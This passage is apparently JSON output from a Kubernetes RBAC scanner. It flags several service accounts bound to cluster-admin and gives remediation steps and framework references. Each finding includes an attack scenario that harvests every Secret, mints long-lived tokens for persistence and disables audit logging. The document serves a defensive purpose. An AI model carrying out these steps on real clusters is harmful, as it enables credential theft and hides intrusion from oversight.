    "remediation": "Replace `cluster-admin` with a custom least-privilege ClusterRole, or scope the binding to a dedicated short-lived admin group reachable only via JIT/break-glass procedures.",
    "remediation_steps": [
      "Identify what the subject actually does. Audit logs over a representative window will show real verbs/resources for workloads; ask the team for humans.",
      "Author a custom ClusterRole listing only the (apiGroups, resources, verbs) actually needed. Replace the binding to point at the new ClusterRole. Bias toward namespace-scoped Role + RoleBinding wherever possible.",
      "For genuine emergency-admin needs, move to a break-glass model: a separate `cluster-admin-jit` group reachable only via approved JIT (AWS SSO, GCP IAP, HashiCorp Boundary) with mandatory MFA, time-boxed expiry, and SIEM alerting.",
      "Add a ValidatingAdmissionPolicy that rejects new ClusterRoleBindings to `cluster-admin` outside the break-glass group.",
      "Verify: `kubectl get clusterrolebindings -o json | jq '.items[] | select(.roleRef.name==\"cluster-admin\") | .subjects'` shows only break-glass principals and `system:` subjects."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#user-facing-roles",
      "https://www.cisecurity.org/benchmark/kubernetes",
      "https://microsoft.github.io/Threat-Matrix-for-Kubernetes/techniques/Cluster-admin%20binding/",
      "https://www.elastic.co/guide/en/security/8.19/kubernetes-cluster-admin-role-binding-created.html",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — RBAC Good Practices: cluster-admin restrictions",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Kubernetes — User-facing roles (cluster-admin, admin, edit, view)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#user-facing-roles"
      },
      {
        "title": "CIS Kubernetes Benchmark — 5.1.1 Cluster-admin restrictions",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "title": "Microsoft Threat Matrix for Kubernetes — Cluster-admin binding",
        "url": "https://microsoft.github.io/Threat-Matrix-for-Kubernetes/techniques/Cluster-admin%20binding/"
      },
      {
        "title": "Elastic Detection — Kubernetes Cluster-Admin Role Binding Created",
        "url": "https://www.elastic.co/guide/en/security/8.19/kubernetes-cluster-admin-role-binding-created.html"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078",
        "name": "Valid Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1548",
        "name": "Abuse Elevation Control Mechanism",
        "url": "https://attack.mitre.org/techniques/T1548/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.1",
        "title": "Ensure that the cluster-admin role is only used where required",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac"
    ]
  },
  {
    "id": "KUBE-RBAC-OVERBROAD-001:ServiceAccount/cutres/cutres-parallel::",
    "rule_id": "KUBE-RBAC-OVERBROAD-001",
    "severity": "CRITICAL",
    "score": 10,
    "category": "privilege_escalation",
    "title": "Non-system subject `ServiceAccount/cutres/cutres-parallel` directly bound to `cluster-admin`",
    "description": "Subject ServiceAccount/cutres/cutres-parallel is directly bound to the built-in `cluster-admin` ClusterRole via the ClusterRoleBinding `cutres-parallel-a`. The `cluster-admin` ClusterRole grants `*` on `*` resources in `*` apiGroups, which means full read/write to every Kubernetes object: Secrets, RBAC, Nodes, Pods, and CRDs cluster-wide.\n\nMicrosoft's Threat Matrix for Kubernetes lists `Cluster-admin binding` as a top-tier privilege-escalation technique, and CIS Kubernetes Benchmark control 5.1.1 ('Ensure that the cluster-admin role is only used where required') is one of the foundational RBAC hardening checks. Common anti-patterns that produce this finding: `kubectl create clusterrolebinding admin-binding --clusterrole=cluster-admin --user=alice@example.com` for a developer; Helm charts that ship a default ClusterRoleBinding to `cluster-admin`; SaaS/operator installers that take the lazy path.\n\nAn attacker who compromises ServiceAccount/cutres/cutres-parallel (stolen kubeconfig, vulnerable container, supply-chain backdoor, or OIDC token replay) immediately holds full cluster control with zero lateral movement required.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "cutres-parallel",
      "namespace": "cutres"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cluster-admin",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide cluster-admin (full read/write to every resource in every namespace)"
    },
    "impact": "Full cluster control: read/write every resource cluster-wide, mint any token, modify any binding, schedule on any node. Equivalent to root on the entire cluster.",
    "attack_scenario": [
      "Attacker compromises ServiceAccount/cutres/cutres-parallel (stolen kubeconfig, OIDC session hijack, leaked CI credential, or compromised pod mounting the SA token).",
      "They run `kubectl auth can-i '*' '*' --all-namespaces` and confirm `yes`.",
      "They harvest all Secrets cluster-wide for cloud-credential pivot.",
      "They establish persistence by minting a 1-year TokenRequest for `kube-system/clusterrole-aggregation-controller`, or by creating a benign-looking ClusterRoleBinding to a backup identity.",
      "They use cluster-admin to disable audit logging or admission controllers, then move quietly through cloud APIs via IRSA/Workload-Identity-mapped credentials."
    ],
    "evidence": {
      "api_groups": null,
      "namespace": "",
      "resource_names": null,
      "resources": null,
      "scope": "cluster",
      "source_binding": "cutres-parallel-a",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cluster-admin",
      "source_role_kind": "ClusterRole",
      "verbs": null
    },
    "remediation": "Replace `cluster-admin` with a custom least-privilege ClusterRole, or scope the binding to a dedicated short-lived admin group reachable only via JIT/break-glass procedures.",
    "remediation_steps": [
      "Identify what the subject actually does. Audit logs over a representative window will show real verbs/resources for workloads; ask the team for humans.",
      "Author a custom ClusterRole listing only the (apiGroups, resources, verbs) actually needed. Replace the binding to point at the new ClusterRole. Bias toward namespace-scoped Role + RoleBinding wherever possible.",
      "For genuine emergency-admin needs, move to a break-glass model: a separate `cluster-admin-jit` group reachable only via approved JIT (AWS SSO, GCP IAP, HashiCorp Boundary) with mandatory MFA, time-boxed expiry, and SIEM alerting.",
      "Add a ValidatingAdmissionPolicy that rejects new ClusterRoleBindings to `cluster-admin` outside the break-glass group.",
      "Verify: `kubectl get clusterrolebindings -o json | jq '.items[] | select(.roleRef.name==\"cluster-admin\") | .subjects'` shows only break-glass principals and `system:` subjects."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#user-facing-roles",
      "https://www.cisecurity.org/benchmark/kubernetes",
      "https://microsoft.github.io/Threat-Matrix-for-Kubernetes/techniques/Cluster-admin%20binding/",
      "https://www.elastic.co/guide/en/security/8.19/kubernetes-cluster-admin-role-binding-created.html",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — RBAC Good Practices: cluster-admin restrictions",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Kubernetes — User-facing roles (cluster-admin, admin, edit, view)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#user-facing-roles"
      },
      {
        "title": "CIS Kubernetes Benchmark — 5.1.1 Cluster-admin restrictions",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "title": "Microsoft Threat Matrix for Kubernetes — Cluster-admin binding",
        "url": "https://microsoft.github.io/Threat-Matrix-for-Kubernetes/techniques/Cluster-admin%20binding/"
      },
      {
        "title": "Elastic Detection — Kubernetes Cluster-Admin Role Binding Created",
        "url": "https://www.elastic.co/guide/en/security/8.19/kubernetes-cluster-admin-role-binding-created.html"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078",
        "name": "Valid Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1548",
        "name": "Abuse Elevation Control Mechanism",
        "url": "https://attack.mitre.org/techniques/T1548/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.1",
        "title": "Ensure that the cluster-admin role is only used where required",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac"
    ]
  },
  {
    "id": "KUBE-RBAC-OVERBROAD-001:ServiceAccount/deepchain-tenant/deepchain-privileged::",
    "rule_id": "KUBE-RBAC-OVERBROAD-001",
    "severity": "CRITICAL",
    "score": 10,
    "category": "privilege_escalation",
    "title": "Non-system subject `ServiceAccount/deepchain-tenant/deepchain-privileged` directly bound to `cluster-admin`",
    "description": "Subject ServiceAccount/deepchain-tenant/deepchain-privileged is directly bound to the built-in `cluster-admin` ClusterRole via the ClusterRoleBinding `deepchain-privileged`. The `cluster-admin` ClusterRole grants `*` on `*` resources in `*` apiGroups, which means full read/write to every Kubernetes object: Secrets, RBAC, Nodes, Pods, and CRDs cluster-wide.\n\nMicrosoft's Threat Matrix for Kubernetes lists `Cluster-admin binding` as a top-tier privilege-escalation technique, and CIS Kubernetes Benchmark control 5.1.1 ('Ensure that the cluster-admin role is only used where required') is one of the foundational RBAC hardening checks. Common anti-patterns that produce this finding: `kubectl create clusterrolebinding admin-binding --clusterrole=cluster-admin --user=alice@example.com` for a developer; Helm charts that ship a default ClusterRoleBinding to `cluster-admin`; SaaS/operator installers that take the lazy path.\n\nAn attacker who compromises ServiceAccount/deepchain-tenant/deepchain-privileged (stolen kubeconfig, vulnerable container, supply-chain backdoor, or OIDC token replay) immediately holds full cluster control with zero lateral movement required.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "deepchain-privileged",
      "namespace": "deepchain-tenant"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cluster-admin",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide cluster-admin (full read/write to every resource in every namespace)"
    },
    "impact": "Full cluster control: read/write every resource cluster-wide, mint any token, modify any binding, schedule on any node. Equivalent to root on the entire cluster.",
    "attack_scenario": [
      "Attacker compromises ServiceAccount/deepchain-tenant/deepchain-privileged (stolen kubeconfig, OIDC session hijack, leaked CI credential, or compromised pod mounting the SA token).",
      "They run `kubectl auth can-i '*' '*' --all-namespaces` and confirm `yes`.",
      "They harvest all Secrets cluster-wide for cloud-credential pivot.",
      "They establish persistence by minting a 1-year TokenRequest for `kube-system/clusterrole-aggregation-controller`, or by creating a benign-looking ClusterRoleBinding to a backup identity.",
      "They use cluster-admin to disable audit logging or admission controllers, then move quietly through cloud APIs via IRSA/Workload-Identity-mapped credentials."
    ],
    "evidence": {
      "api_groups": null,
      "namespace": "",
      "resource_names": null,
      "resources": null,
      "scope": "cluster",
      "source_binding": "deepchain-privileged",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cluster-admin",
      "source_role_kind": "ClusterRole",
      "verbs": null
    },
    "remediation": "Replace `cluster-admin` with a custom least-privilege ClusterRole, or scope the binding to a dedicated short-lived admin group reachable only via JIT/break-glass procedures.",
    "remediation_steps": [
      "Identify what the subject actually does. Audit logs over a representative window will show real verbs/resources for workloads; ask the team for humans.",
      "Author a custom ClusterRole listing only the (apiGroups, resources, verbs) actually needed. Replace the binding to point at the new ClusterRole. Bias toward namespace-scoped Role + RoleBinding wherever possible.",
      "For genuine emergency-admin needs, move to a break-glass model: a separate `cluster-admin-jit` group reachable only via approved JIT (AWS SSO, GCP IAP, HashiCorp Boundary) with mandatory MFA, time-boxed expiry, and SIEM alerting.",
      "Add a ValidatingAdmissionPolicy that rejects new ClusterRoleBindings to `cluster-admin` outside the break-glass group.",
      "Verify: `kubectl get clusterrolebindings -o json | jq '.items[] | select(.roleRef.name==\"cluster-admin\") | .subjects'` shows only break-glass principals and `system:` subjects."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#user-facing-roles",
      "https://www.cisecurity.org/benchmark/kubernetes",
      "https://microsoft.github.io/Threat-Matrix-for-Kubernetes/techniques/Cluster-admin%20binding/",
      "https://www.elastic.co/guide/en/security/8.19/kubernetes-cluster-admin-role-binding-created.html",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — RBAC Good Practices: cluster-admin restrictions",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Kubernetes — User-facing roles (cluster-admin, admin, edit, view)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#user-facing-roles"
      },
      {
        "title": "CIS Kubernetes Benchmark — 5.1.1 Cluster-admin restrictions",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "title": "Microsoft Threat Matrix for Kubernetes — Cluster-admin binding",
        "url": "https://microsoft.github.io/Threat-Matrix-for-Kubernetes/techniques/Cluster-admin%20binding/"
      },
      {
        "title": "Elastic Detection — Kubernetes Cluster-Admin Role Binding Created",
        "url": "https://www.elastic.co/guide/en/security/8.19/kubernetes-cluster-admin-role-binding-created.html"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078",
        "name": "Valid Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1548",
        "name": "Abuse Elevation Control Mechanism",
        "url": "https://attack.mitre.org/techniques/T1548/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.1",
        "title": "Ensure that the cluster-admin role is only used where required",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac"
    ]
  },
  {
    "id": "KUBE-RBAC-OVERBROAD-001:ServiceAccount/flux-system/kustomize-controller::",
    "rule_id": "KUBE-RBAC-OVERBROAD-001",
    "severity": "CRITICAL",
    "score": 10,
    "category": "privilege_escalation",
    "title": "Non-system subject `ServiceAccount/flux-system/kustomize-controller` directly bound to `cluster-admin`",
    "description": "Subject ServiceAccount/flux-system/kustomize-controller is directly bound to the built-in `cluster-admin` ClusterRole via the ClusterRoleBinding `deepchain-flux-admin`. The `cluster-admin` ClusterRole grants `*` on `*` resources in `*` apiGroups, which means full read/write to every Kubernetes object: Secrets, RBAC, Nodes, Pods, and CRDs cluster-wide.\n\nMicrosoft's Threat Matrix for Kubernetes lists `Cluster-admin binding` as a top-tier privilege-escalation technique, and CIS Kubernetes Benchmark control 5.1.1 ('Ensure that the cluster-admin role is only used where required') is one of the foundational RBAC hardening checks. Common anti-patterns that produce this finding: `kubectl create clusterrolebinding admin-binding --clusterrole=cluster-admin --user=alice@example.com` for a developer; Helm charts that ship a default ClusterRoleBinding to `cluster-admin`; SaaS/operator installers that take the lazy path.\n\nAn attacker who compromises ServiceAccount/flux-system/kustomize-controller (stolen kubeconfig, vulnerable container, supply-chain backdoor, or OIDC token replay) immediately holds full cluster control with zero lateral movement required.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "kustomize-controller",
      "namespace": "flux-system"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cluster-admin",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide cluster-admin (full read/write to every resource in every namespace)"
    },
    "impact": "Full cluster control: read/write every resource cluster-wide, mint any token, modify any binding, schedule on any node. Equivalent to root on the entire cluster.",
    "attack_scenario": [
      "Attacker compromises ServiceAccount/flux-system/kustomize-controller (stolen kubeconfig, OIDC session hijack, leaked CI credential, or compromised pod mounting the SA token).",
      "They run `kubectl auth can-i '*' '*' --all-namespaces` and confirm `yes`.",
      "They harvest all Secrets cluster-wide for cloud-credential pivot.",
      "They establish persistence by minting a 1-year TokenRequest for `kube-system/clusterrole-aggregation-controller`, or by creating a benign-looking ClusterRoleBinding to a backup identity.",
      "They use cluster-admin to disable audit logging or admission controllers, then move quietly through cloud APIs via IRSA/Workload-Identity-mapped credentials."
    ],
    "evidence": {
      "api_groups": null,
      "namespace": "",
      "resource_names": null,
      "resources": null,
      "scope": "cluster",
      "source_binding": "deepchain-flux-admin",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cluster-admin",
      "source_role_kind": "ClusterRole",
      "verbs": null
    },
    "remediation": "Replace `cluster-admin` with a custom least-privilege ClusterRole, or scope the binding to a dedicated short-lived admin group reachable only via JIT/break-glass procedures.",
    "remediation_steps": [
      "Identify what the subject actually does. Audit logs over a representative window will show real verbs/resources for workloads; ask the team for humans.",
      "Author a custom ClusterRole listing only the (apiGroups, resources, verbs) actually needed. Replace the binding to point at the new ClusterRole. Bias toward namespace-scoped Role + RoleBinding wherever possible.",
      "For genuine emergency-admin needs, move to a break-glass model: a separate `cluster-admin-jit` group reachable only via approved JIT (AWS SSO, GCP IAP, HashiCorp Boundary) with mandatory MFA, time-boxed expiry, and SIEM alerting.",
      "Add a ValidatingAdmissionPolicy that rejects new ClusterRoleBindings to `cluster-admin` outside the break-glass group.",
      "Verify: `kubectl get clusterrolebindings -o json | jq '.items[] | select(.roleRef.name==\"cluster-admin\") | .subjects'` shows only break-glass principals and `system:` subjects."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#user-facing-roles",
      "https://www.cisecurity.org/benchmark/kubernetes",
      "https://microsoft.github.io/Threat-Matrix-for-Kubernetes/techniques/Cluster-admin%20binding/",
      "https://www.elastic.co/guide/en/security/8.19/kubernetes-cluster-admin-role-binding-created.html",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — RBAC Good Practices: cluster-admin restrictions",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Kubernetes — User-facing roles (cluster-admin, admin, edit, view)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#user-facing-roles"
      },
      {
        "title": "CIS Kubernetes Benchmark — 5.1.1 Cluster-admin restrictions",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "title": "Microsoft Threat Matrix for Kubernetes — Cluster-admin binding",
        "url": "https://microsoft.github.io/Threat-Matrix-for-Kubernetes/techniques/Cluster-admin%20binding/"
      },
      {
        "title": "Elastic Detection — Kubernetes Cluster-Admin Role Binding Created",
        "url": "https://www.elastic.co/guide/en/security/8.19/kubernetes-cluster-admin-role-binding-created.html"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078",
        "name": "Valid Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1548",
        "name": "Abuse Elevation Control Mechanism",
        "url": "https://attack.mitre.org/techniques/T1548/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.1",
        "title": "Ensure that the cluster-admin role is only used where required",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac"
    ]
  },
  {
    "id": "KUBE-RBAC-OVERBROAD-001:ServiceAccount/foothold-exec/foothold-decoy-sa::",
    "rule_id": "KUBE-RBAC-OVERBROAD-001",
    "severity": "CRITICAL",
    "score": 10,
    "category": "privilege_escalation",
    "title": "Non-system subject `ServiceAccount/foothold-exec/foothold-decoy-sa` directly bound to `cluster-admin`",
    "description": "Subject ServiceAccount/foothold-exec/foothold-decoy-sa is directly bound to the built-in `cluster-admin` ClusterRole via the ClusterRoleBinding `foothold-decoy-admin`. The `cluster-admin` ClusterRole grants `*` on `*` resources in `*` apiGroups, which means full read/write to every Kubernetes object: Secrets, RBAC, Nodes, Pods, and CRDs cluster-wide.\n\nMicrosoft's Threat Matrix for Kubernetes lists `Cluster-admin binding` as a top-tier privilege-escalation technique, and CIS Kubernetes Benchmark control 5.1.1 ('Ensure that the cluster-admin role is only used where required') is one of the foundational RBAC hardening checks. Common anti-patterns that produce this finding: `kubectl create clusterrolebinding admin-binding --clusterrole=cluster-admin --user=alice@example.com` for a developer; Helm charts that ship a default ClusterRoleBinding to `cluster-admin`; SaaS/operator installers that take the lazy path.\n\nAn attacker who compromises ServiceAccount/foothold-exec/foothold-decoy-sa (stolen kubeconfig, vulnerable container, supply-chain backdoor, or OIDC token replay) immediately holds full cluster control with zero lateral movement required.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "foothold-decoy-sa",
      "namespace": "foothold-exec"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cluster-admin",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide cluster-admin (full read/write to every resource in every namespace)"
    },
    "impact": "Full cluster control: read/write every resource cluster-wide, mint any token, modify any binding, schedule on any node. Equivalent to root on the entire cluster.",
    "attack_scenario": [
      "Attacker compromises ServiceAccount/foothold-exec/foothold-decoy-sa (stolen kubeconfig, OIDC session hijack, leaked CI credential, or compromised pod mounting the SA token).",
      "They run `kubectl auth can-i '*' '*' --all-namespaces` and confirm `yes`.",
      "They harvest all Secrets cluster-wide for cloud-credential pivot.",
      "They establish persistence by minting a 1-year TokenRequest for `kube-system/clusterrole-aggregation-controller`, or by creating a benign-looking ClusterRoleBinding to a backup identity.",
      "They use cluster-admin to disable audit logging or admission controllers, then move quietly through cloud APIs via IRSA/Workload-Identity-mapped credentials."
    ],
    "evidence": {
      "api_groups": null,
      "namespace": "",
      "resource_names": null,
      "resources": null,
      "scope": "cluster",
      "source_binding": "foothold-decoy-admin",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cluster-admin",
      "source_role_kind": "ClusterRole",
      "verbs": null
    },
    "remediation": "Replace `cluster-admin` with a custom least-privilege ClusterRole, or scope the binding to a dedicated short-lived admin group reachable only via JIT/break-glass procedures.",
    "remediation_steps": [
      "Identify what the subject actually does. Audit logs over a representative window will show real verbs/resources for workloads; ask the team for humans.",
      "Author a custom ClusterRole listing only the (apiGroups, resources, verbs) actually needed. Replace the binding to point at the new ClusterRole. Bias toward namespace-scoped Role + RoleBinding wherever possible.",
      "For genuine emergency-admin needs, move to a break-glass model: a separate `cluster-admin-jit` group reachable only via approved JIT (AWS SSO, GCP IAP, HashiCorp Boundary) with mandatory MFA, time-boxed expiry, and SIEM alerting.",
      "Add a ValidatingAdmissionPolicy that rejects new ClusterRoleBindings to `cluster-admin` outside the break-glass group.",
      "Verify: `kubectl get clusterrolebindings -o json | jq '.items[] | select(.roleRef.name==\"cluster-admin\") | .subjects'` shows only break-glass principals and `system:` subjects."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#user-facing-roles",
      "https://www.cisecurity.org/benchmark/kubernetes",
      "https://microsoft.github.io/Threat-Matrix-for-Kubernetes/techniques/Cluster-admin%20binding/",
      "https://www.elastic.co/guide/en/security/8.19/kubernetes-cluster-admin-role-binding-created.html",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — RBAC Good Practices: cluster-admin restrictions",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Kubernetes — User-facing roles (cluster-admin, admin, edit, view)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#user-facing-roles"
      },
      {
        "title": "CIS Kubernetes Benchmark — 5.1.1 Cluster-admin restrictions",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "title": "Microsoft Threat Matrix for Kubernetes — Cluster-admin binding",
        "url": "https://microsoft.github.io/Threat-Matrix-for-Kubernetes/techniques/Cluster-admin%20binding/"
      },
      {
        "title": "Elastic Detection — Kubernetes Cluster-Admin Role Binding Created",
        "url": "https://www.elastic.co/guide/en/security/8.19/kubernetes-cluster-admin-role-binding-created.html"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078",
        "name": "Valid Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1548",
        "name": "Abuse Elevation Control Mechanism",
        "url": "https://attack.mitre.org/techniques/T1548/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.1",
        "title": "Ensure that the cluster-admin role is only used where required",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac"
    ]
  },
  {
    "id": "KUBE-RBAC-OVERBROAD-001:ServiceAccount/rbac-fixtures/sa-cluster-admin::",
    "rule_id": "KUBE-RBAC-OVERBROAD-001",
    "severity": "CRITICAL",
    "score": 10,
    "category": "privilege_escalation",
    "title": "Non-system subject `ServiceAccount/rbac-fixtures/sa-cluster-admin` directly bound to `cluster-admin`",
    "description": "Subject ServiceAccount/rbac-fixtures/sa-cluster-admin is directly bound to the built-in `cluster-admin` ClusterRole via the ClusterRoleBinding `crb-cluster-admin`. The `cluster-admin` ClusterRole grants `*` on `*` resources in `*` apiGroups, which means full read/write to every Kubernetes object: Secrets, RBAC, Nodes, Pods, and CRDs cluster-wide.\n\nMicrosoft's Threat Matrix for Kubernetes lists `Cluster-admin binding` as a top-tier privilege-escalation technique, and CIS Kubernetes Benchmark control 5.1.1 ('Ensure that the cluster-admin role is only used where required') is one of the foundational RBAC hardening checks. Common anti-patterns that produce this finding: `kubectl create clusterrolebinding admin-binding --clusterrole=cluster-admin --user=alice@example.com` for a developer; Helm charts that ship a default ClusterRoleBinding to `cluster-admin`; SaaS/operator installers that take the lazy path.\n\nAn attacker who compromises ServiceAccount/rbac-fixtures/sa-cluster-admin (stolen kubeconfig, vulnerable container, supply-chain backdoor, or OIDC token replay) immediately holds full cluster control with zero lateral movement required.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-cluster-admin",
      "namespace": "rbac-fixtures"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cluster-admin",
